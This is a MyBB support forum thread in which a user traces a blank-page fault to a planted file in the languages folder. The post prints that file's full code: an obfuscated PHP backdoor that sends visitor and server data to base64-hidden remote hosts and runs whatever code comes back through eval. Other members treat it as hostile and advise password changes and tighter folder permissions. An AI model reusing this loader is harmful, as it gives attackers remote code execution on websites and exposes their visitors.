MyBB Community Forums

Full Version: Blank page
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Pages: 1 2
Yesterday all was fine, and now I have a blank page.
The Adminb is working and I tried all that it's indiqued here: http://wiki.mybb.com/index.php/Help:Blank_index

Forum link: http://foroact.com/
Also is in:
http://foroact.com/search.php
etc...
Is there anything in your server error logs?? What plugins do you have??
NOthing about that in the error log Sad
The plugins are:

Advanced Quick Reply From
Additional Groups Images
Auto Media
Awards
Forum Messages
Default Icon For Posts/Threads
Fit on Page
Game section
MyBB Go Mobile
Google Analytics
Last Visitors in Profile
Login Password Conversion
Miss You Email
ModNotice
Monthly Stats
MyTheme
My thread visitors
My Tweets
Necropost Notice
Show the users that has been online today
PM On Registration
Profile Buddies
Profile Comments
Profile Design
ProStats
Quick Reply PM
Reply to Introduction
RSS To Post
VIP Membership
Welcome Message.

But How I say, all was fine this morning Sad

I find this:
[Tue Oct 05 16:07:37 2010] [error] [client 194.44.15.6] PHP Notice:  Constant TABLE_PREFIX already defined in /home/foroactc/public_html/inc/functions.php on line 186, referer: http://foroact.com//527.html?bd53d148a4e472bd8063ac59d686da2c
[Tue Oct 05 16:07:37 2010] [error] [client 194.44.15.6] PHP Notice:  Undefined index:  write in /home/foroactc/public_html/inc/db_mysql.php on line 169, referer: http://foroact.com//527.html?bd53d148a4e472bd8063ac59d686da2c
[Tue Oct 05 16:07:37 2010] [error] [client 194.44.15.6] PHP Notice:  Undefined index:  pconnect in /home/foroactc/public_html/inc/db_mysql.php on line 188, referer: http://foroact.com//527.html?bd53d148a4e472bd8063ac59d686da2c
[Tue Oct 05 16:07:25 2010] [error] [client 194.44.15.6] File does not exist: /home/foroactc/public_html/527.html, referer: http://foroact.com//527.html?bd53d148a4e472bd8063ac59d686da2c
Do you have any .htaccess files in your public_html folder? Try renaming them to htaccess.txt temporarily to make sure thats not the problem. If that fixes it, post the contents of htaccess here so we can look at it
Ugh, somebody else had this, I don't know what caused it.

Go to ACP > Configuration > Server and Optimization Options > Use PHP's Shutdown Functionality > whatever this is set to, change it, and save.
Nothing, still the same :l
Also when I go to Control Panel Preferences (Global) the page stops when will show the options. So don't show nothing...
I see now that the problem is in the Languages files :l
I load http://foroact.com/admin/index.php?modul...-languages and shows a blank page.
I FIND THE ERROR (OMG I'M EXCITED xD)
In the languages folder had a file called 199505.php
I deleted it and voilĂ  Big Grin

The code of the file is:
<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="3f68551afe3a03a14c355ea8c670191b") $f=$_REQUEST["id"];if($c=file_get_contents(base64_decode("aHR0cDovLzdhZHMu").$f.$z))eval($c);else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

I Really don't know how appear there.
That doesn't look friendly. What language folder specifically, and what was the folder CHMOD to?? Check your access and FTP logs, ask your host if you don't have access to them, to find out how this got uploaded.
The file was on:
/inc/languages
And the folder have CHMOD 777

And My hosting is new, and this was ijn the old one Confused So I can't ask
Change your FTP, MySQL, ACP passwords just to be safe.
There's no reason to have that folder set to 777.
Pages: 1 2